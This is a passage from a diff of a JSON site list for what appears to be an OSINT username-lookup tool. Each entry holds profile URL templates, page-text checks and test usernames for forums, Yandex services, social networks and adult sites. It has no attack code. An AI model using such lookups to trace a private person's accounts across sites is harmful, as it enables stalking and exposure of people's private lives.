"usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 989583 + }, + "Wuz": { + "disabled": true, + "ignore403": true, + "tags": [ + "by", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "urlMain": "http://wuz.by", + "url": "http://wuz.by/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2848353 + }, + "Wykop": { + "tags": [ + "pl" + ], + "checkType": "message", + "alexaRank": 2559, + "presenseStrs": [ + "Aktywno\u015b\u0107 u\u017cytkownika" + ], + "urlMain": "https://www.wykop.pl", + "url": "https://www.wykop.pl/ludzie/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xanga": { + "checkType": "message", + "absenceStrs": [ + "Xanga 2.0 is Here!" + ], + "presenseStrs": [ + "s Xanga Site | Just" + ], + "url": "https://{username}.xanga.com/", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldusethis7" + }, + "XDA": { + "disabled": true, + "tags": [ + "apps", + "forum" + ], + "errors": { + "<title>Attention Required! | Cloudflare": "Cloudflare security protection detected" + }, + "engine": "vBulletin", + "alexaRank": 3291, + "urlMain": "https://forum.xda-developers.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "XXXForum.org": { + "disabled": true, + "tags": [ + "erotic", + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://xxxforum.org", + "url": "https://xxxforum.org/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "tangar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xbox Gamertag": { + "tags": [ + "us" + ], + "errors": { + "Something went wrong": "Site error", + "Why do I have to complete a CAPTCHA": "Captcha detected" + }, + "checkType": "status_code", + "alexaRank": 692675, + "urlMain": "https://xboxgamertag.com/", + "url": "https://xboxgamertag.com/search/{username}", + "usernameClaimed": "smrnov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xing": { + "tags": [ + "de", + "eu" + ], + "errors": { + "/assets/login-frontend/login-frontend": "Login required" + }, + "checkType": "status_code", + "alexaRank": 2314, + "urlMain": "https://www.xing.com/", + "url": "https://www.xing.com/profile/{username}", + "usernameClaimed": "Ivan_Ivanov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Xvideos": { + "tags": [ + "porn", + "us" + ], + "checkType": "status_code", + "alexaRank": 107, + "urlMain": "https://xvideos.com/", + "url": "https://xvideos.com/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "XvideosModels": { + "checkType": "message", + "absenceStrs": [ + "THIS PROFILE DOESN'T EXIST" + ], + "presenseStrs": [ + "Total video views" + ], + "url": "https://www.xvideos.com/models/{username}", + "usernameClaimed": "tiffany-tyler", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Ya-uchitel": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 167839, + "urlMain": "https://ya-uchitel.ru/", + "usernameClaimed": "Vesna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YaPishu.net": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "presenseStrs": [ + "for_profile" + ], + "alexaRank": 332628, + "urlMain": "https://yapishu.net", + "url": "https://yapishu.net/user/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Yalta-info": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "http://www.yalta-info.net", + "url": "http://www.yalta-info.net/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "%D0%96%D1%83%D0%BA%D0%BE%D0%B2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YandexReviews": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "headers": { + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "checkType": "message", + "presenseStrs": [ + "content=\"\u041e\u0442\u0437\u044b\u0432\u044b \u0438 \u043e\u0446\u0435\u043d\u043a\u0438" + ], + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u043a\u0440\u044b\u043b \u0441\u0432\u043e\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443" + ], + "alexaRank": 50, + "urlMain": "https://yandex.ru/", + "url": "https://reviews.yandex.ru/user/{username}", + "source": "Yandex", + "usernameClaimed": "20vpvmmwpnwyb0dpbnjvy3k14c", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YandexBugbounty": { + "tags": [ + "hacking", + "ru" + ], + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://yandex.ru/bugbounty/", + "url": "https://yandex.ru/bugbounty/researchers/{username}/", + "source": "Yandex", + "usernameClaimed": "pyrk1", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "YandexCollections API": { + "tags": [ + "ru", + "sharing" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "errors": { + "action=\"/checkcaptcha\" onsubmit": "Captcha detected, use proxy/vpn" + }, + "checkType": "message", + "presenseStrs": [ + "public_id" + ], + "absenceStrs": [ + "cl-not-found-content__title" + ], + "alexaRank": 34, + "urlMain": "https://yandex.ru/collections/", + "url": "https://yandex.ru/collections/api/users/{username}/", + "source": "Yandex", + "usernameClaimed": "yandex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "YandexCollections API (by yandex_public_id)": { + "tags": [ + "ru", + "sharing" + ], + "type": "yandex_public_id", + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "errors": { + "action=\"/checkcaptcha\" onsubmit": "Captcha detected, use proxy/vpn" + }, + "checkType": "message", + "presenseStrs": [ + "public_id" + ], + "absenceStrs": [ + "cl-not-found-content__title" + ], + "alexaRank": 50, + "urlMain": "https://yandex.ru/collections/", + "url": "https://yandex.ru/collections/api/users/{username}/", + "source": "Yandex", + "usernameClaimed": "hx0aur0arkyebkxztq8pr8b4dg", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YandexMarket": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "checkType": "message", + "absenceStrs": [ + "//yastatic.net/market-export/_/i/zero-state/404.svg" + ], + "alexaRank": 50, + "urlMain": "https://market.yandex.ru/", + "url": "https://market.yandex.ru/user/{username}", + "source": "Yandex", + "usernameClaimed": "6j2uh4rhp5d9gqgbynaqy2p75m", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YandexMusic": { + "tags": [ + "music", + "ru" + ], + "ignore403": true, + "headers": { + "Referer": "https://music.yandex.ru/users/test/playlists" + }, + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://music.yandex.ru/", + "url": "https://music.yandex.ru/users/{username}/playlists", + "source": "Yandex", + "usernameClaimed": "YandexMusic", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Soberu": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://yasobe.ru", + "url": "https://yasobe.ru/na/{username}", + "usernameClaimed": "snoop_project", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 10489582, + "disabled": true + }, + "YandexZnatoki": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://yandex.ru/q/", + "url": "https://yandex.ru/q/profile/{username}", + "source": "Yandex", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YandexZenChannel": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + ".zen-ui-page-404" + ], + "presenseStrs": [ + "zen_object_id" + ], + "alexaRank": 50, + "urlMain": "https://dzen.ru", + "url": "https://dzen.ru/channel/{username}", + "headers": { + "Cookie": "Session_id=noauth:1; yandex_login=; ys=c_chck.1; mda2_beacon=1; sso_status=sso.passport.yandex.ru:synchronized; _yasc=1; _ym_uid=1; _ym_d=1; _ym_isad=2; yandexuid=1" + }, + "source": "Yandex", + "usernameClaimed": "tema", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YandexZenUser": { + "tags": [ + "ru" + ], + "type": "yandex_public_id", + "checkType": "status_code", + "alexaRank": 50, + "urlMain": "https://zen.yandex.ru", + "url": "https://zen.yandex.ru/user/{username}", + "source": "Yandex", + "usernameClaimed": "20vpvmmwpnwyb0dpbnjvy3k14c", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Yapisal": { + "tags": [ + "forum", + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "\"error_type\":\"not_found\"" + ], + "presenseStrs": [ + "\"user\":{\"id\":" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0" + }, + "alexaRank": 2925378, + "urlProbe": "{urlMain}/u/{username}.json", + "urlMain": "https://forum.yapisal.net", + "url": "{urlMain}/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Yazbel": { + "tags": [ + "forum" + ], + "checkType": "status_code", + "url": "https://forum.yazbel.com/u/{username}/summary", + "usernameClaimed": "abdullah189", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YouNow": { + "tags": [ + "be", + "us" + ], + "urlProbe": "https://api.younow.com/php/api/broadcast/info/user={username}/", + "checkType": "message", + "absenceStrs": [ + "No users found" + ], + "alexaRank": 25470, + "urlMain": "https://www.younow.com/", + "url": "https://www.younow.com/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YouPic": { + "tags": [ + "photo" + ], + "checkType": "status_code", + "alexaRank": 42331, + "urlMain": "https://youpic.com/", + "url": "https://youpic.com/photographer/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "YouPorn": { + "tags": [ + "porn", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Videos uploaded by" + ], + "absenceStrs": [ + "BUT CAN'T FIND WHAT YOU'RE LOOKING FOR." + ], + "alexaRank": 663, + "urlMain": "https://youporn.com", + "url": "https://youporn.com/uservids/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "YouTube": { + "tags": [ + "video" + ], + "headers": { + "User-Agent": "curl/8.6.0", + "Accept": "*/*" + }, + "regexCheck": "^[^\\/]+$", + "checkType": "message", + "presenseStrs": [ + "visitorData", + "userAgent" + ], + "absenceStrs": [ + "404 Not Found" + ], + "alexaRank": 2, + "urlMain": "https://www.youtube.com/", + "url": "https://www.youtube.com/@{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "YouTube User": { + "tags": [ + "video" + ], + "headers": { + "User-Agent": "curl/8.6.0", + "Accept": "*/*" + }, + "regexCheck": "^[^\\/]+$", + "checkType": "message", + "presenseStrs": [ + "visitorData", + "userAgent" + ], + "absenceStrs": [ + "404 Not Found" + ], + "alexaRank": 2, + "urlMain": "https://www.youtube.com/", + "url": "https://www.youtube.com/@{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Yummly": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profileName" + ], + "alexaRank": 8249, + "urlMain": "https://www.yummly.com", + "url": "https://mapi.yummly.com/mapi/v19/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zagony": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 72861, + "urlMain": "https://zagony.ru", + "url": "https://zagony.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zapravdu": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 3826988, + "urlMain": "http://zapravdu.ru/", + "url": "http://zapravdu.ru/forum/search.php?author={username}", + "usernameClaimed": "ccsr", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zatrybi.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono strony" + ], + "presenseStrs": [ + "Zarejestrowany od:" + ], + "url": "https://zatrybi.pl/user/{username}", + "usernameClaimed": "fenrek", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Zbiornik.com": { + "checkType": "message", + "absenceStrs": [ + "Szukaj" + ], + "presenseStrs": [ + "INFO" + ], + "url": "https://mini.zbiornik.com/{username}", + "usernameClaimed": "Soif", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Zenitbol": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 6746731, + "urlMain": "http://zenitbol.ru", + "usernameClaimed": "vera", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zhihu": { + "tags": [ + "cn" + ], + "checkType": "message", + "alexaRank": 139, + "urlMain": "https://www.zhihu.com/", + "url": "https://www.zhihu.com/people/{username}", + "absenceStrs": [ + "\u7528\u6237\u4e0d\u5b58\u5728" + ], + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Zhyk": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 449117, + "urlMain": "https://zhyk.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Zmarsa.com": { + "checkType": "message", + "absenceStrs": [ + "B\u0142\u0105d na stronie" + ], + "presenseStrs": [ + "Galeria u\u017cytkownika" + ], + "url": "https://zmarsa.com/uzytkownik/{username}/glowna/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Zmey": { + "tags": [ + "forum", + "sport" + ], + "checkType": "response_url", + "urlMain": "https://zmey.ru", + "url": "https://zmey.ru/user/@{username}", + "usernameClaimed": "alec", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 6863219 + }, + "Zomato": { + "tags": [ + "geosocial", + "in" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.9" + }, + "checkType": "status_code", + "alexaRank": 1300, + "urlMain": "https://www.zomato.com/", + "url": "https://www.zomato.com/pl/{username}/foodjourney", + "usernameClaimed": "deepigoyal", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "afsoc.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://afsoc.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "akniga": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 18723, + "urlMain": "https://akniga.org/", + "url": "https://akniga.org/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "aliensoup.com": { + "engine": "XenForo", + "alexaRank": 1870623, + "urlMain": "https://aliensoup.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "allgaz": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 753089, + "urlMain": "https://forum.allgaz.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "alliedmods": { + "tags": [ + "forum", + "gb", + "in", + "jp", + "tr", + "us", + "uz" + ], + "engine": "vBulletin", + "alexaRank": 39020, + "urlMain": "https://forums.alliedmods.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "allmylinks": { + "tags": [ + "links" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "alexaRank": 15293, + "urlMain": "https://allmylinks.com/", + "url": "https://allmylinks.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "alpanf.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://alpanf.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "amax-sb.ru": { + "engine": "uCoz", + "alexaRank": 7441128, + "urlMain": "http://amax-sb.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "aminoapp": { + "tags": [ + "br", + "us" + ], + "checkType": "status_code", + "alexaRank": 3178, + "urlMain": "https://aminoapps.com/", + "url": "https://aminoapps.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777", + "disabled": true + }, + "analitika-forex.ru": { + "engine": "uCoz", + "alexaRank": 5995985, + "urlMain": "http://analitika-forex.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "andrei.moy.su": { + "engine": "uCoz", + "urlMain": "http://andrei.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "antalya.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://antalya.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12622701 + }, + "antihack.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://antihack.ucoz.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "antivirus.moy.su": { + "engine": "uCoz", + "urlMain": "http://antivirus.moy.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "antizombie.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://antizombie.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "movies", + "ru" + ] + }, + "army-rus.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://army-rus.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 12825102 + }, + "armyboots.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://armyboots.ucoz.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "artinvestment": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 195417, + "urlMain": "https://forum.artinvestment.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "asecurity.do.am": { + "engine": "uCoz", + "urlMain": "http://asecurity.do.am", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "atm-club.moy.su": { + "engine": "uCoz", + "urlMain": "http://atm-club.moy.su", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "australianfrequentflyer.com.au": { + "tags": [ + "au", + "forum" + ], + "engine": "XenForo", + "alexaRank": 257819, + "urlMain": "https://www.australianfrequentflyer.com.au/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "author.today": { + "tags": [ + "reading", + "ru" + ], + "checkType": "status_code", + "alexaRank": 12218, + "urlMain": "https://author.today", + "url": "https://author.today/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "authorSTREAM": { + "tags": [ + "documents", + "in", + "sharing" + ], + "checkType": "status_code", + "alexaRank": 6034, + "urlMain": "http://www.authorstream.com/", + "url": "http://www.authorstream.com/author/{username}/", + "usernameClaimed": "roxanne", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "autotob.ru": { + "engine": "uCoz", + "urlMain": "http://autotob.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1156235 + }, + "av.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://av.3dn.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 9097927 + }, + "aviabaza-meria.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://aviabaza-meria.ucoz.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "awd.ru": { + "tags": [ + "forum", + "ru", + "travel" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "presenseStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430:" + ], + "alexaRank": 32426, + "urlMain": "https://forum.awd.ru", + "url": "https://forum.awd.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "babyboom.pl": { + "engine": "XenForo", + "alexaRank": 685508, + "urlMain": "http://www.babyboom.pl/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "pl" + ] + }, + "barnaul-forum.ru": { + "engine": "uCoz", + "alexaRank": 8892304, + "urlMain": "http://barnaul-forum.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "bbs.evony.com": { + "tags": [ + "forum", + "in", + "pk", + "tr", + "us" + ], + "engine": "vBulletin", + "alexaRank": 457801, + "urlMain": "http://bbs.evony.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "bbs.huami.com": { + "disabled": true, + "tags": [ + "cn", + "in", + "ir", + "ru", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "\u63d0\u793a\u4fe1\u606f - huami\u8bba\u575b - Powered by Discuz!" + ], + "alexaRank": 137565, + "urlMain": "https://bbs.huami.com", + "url": "https://bbs.huami.com/home.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "beyond3d": { + "tags": [ + "forum", + "in", + "pk", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 500969, + "urlMain": "https://forum.beyond3d.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "bigfooty.com": { + "tags": [ + "au", + "forum" + ], + "engine": "XenForo", + "alexaRank": 153706, + "urlMain": "https://www.bigfooty.com/forum/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "biohack": { + "checkType": "status_code", + "alexaRank": 2248035, + "urlMain": "https://forum.biohack.me", + "url": "https://forum.biohack.me/index.php?p=/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "bluesystem": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "images/avatars/default_avatars/22.gif" + ], + "alexaRank": 2076846, + "urlMain": "http://forum.bluesystem.online", + "url": "http://forum.bluesystem.online/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Tiffani", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "browncafe.com": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 449545, + "urlMain": "http://www.browncafe.com/community/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "caravelgames": { + "checkType": "message", + "absenceStrs": [ + "Guest" + ], + "alexaRank": 2871774, + "urlMain": "http://forum.caravelgames.com", + "url": "http://forum.caravelgames.com/member.php?Action=viewprofile&username={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "catholic": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 66514, + "urlMain": "https://forums.catholic.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ceed.at.ua": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 6723704, + "urlMain": "http://ceed.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cfd-online": { + "tags": [ + "ca", + "de", + "fr", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "CFD Online Discussion Forums" + ], + "alexaRank": 90772, + "urlMain": "https://www.cfd-online.com", + "url": "https://www.cfd-online.com/Forums/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "chaos.social": { + "checkType": "status_code", + "alexaRank": 2073381, + "regexCheck": "^[a-zA-Z0-9_]+$", + "urlMain": "https://chaos.social/", + "url": "https://chaos.social/@{username}", + "usernameClaimed": "rixx", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ] + }, + "cheat-master.ru": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 498528, + "urlMain": "http://cheat-master.ru", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "chsnik-kz.ucoz.kz": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "alexaRank": 280915, + "urlMain": "http://chsnik-kz.ucoz.kz", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cigarpass.com": { + "tags": [ + "forum", + "ir" + ], + "engine": "XenForo", + "alexaRank": 1051756, + "urlMain": "http://www.cigarpass.com/forum", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club-2105.at.ua": { + "engine": "uCoz", + "urlMain": "http://club-2105.at.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club-fiat.org.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 2757380, + "urlMain": "http://club-fiat.org.ua", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club.7ya.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 38054, + "urlMain": "https://club.7ya.ru", + "url": "https://club.7ya.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "club.cnews.ru": { + "disabled": true, + "tags": [ + "blog", + "ru" + ], + "checkType": "status_code", + "alexaRank": 19671, + "urlMain": "https://club.cnews.ru/", + "url": "https://club.cnews.ru/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "clubsnap.com": { + "tags": [ + "forum", + "in", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 463420, + "urlMain": "https://www.clubsnap.com/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "collectors.com": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 44338, + "urlMain": "https://forums.collectors.com", + "url": "https://forums.collectors.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "community.asterisk.org": { + "tags": [ + "forum", + "in", + "ir", + "jp", + "us" + ], + "engine": "Discourse", + "alexaRank": 60320, + "urlMain": "https://community.asterisk.org", + "usernameClaimed": "bford", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "community.p2pu.org": { + "engine": "Discourse", + "alexaRank": 657370, + "urlMain": "https://community.p2pu.org", + "usernameClaimed": "grif", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "couchsurfing": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 19065, + "urlMain": "https://www.couchsurfing.com/", + "url": "https://www.couchsurfing.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "crown6.org": { + "engine": "uCoz", + "alexaRank": 677490, + "urlMain": "http://crown6.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "cs-ru.ucoz.org": { + "engine": "uCoz", + "urlMain": "http://cs-ru.ucoz.org", + "usernameClaimed": "admin", + "usernameUnclaimed": 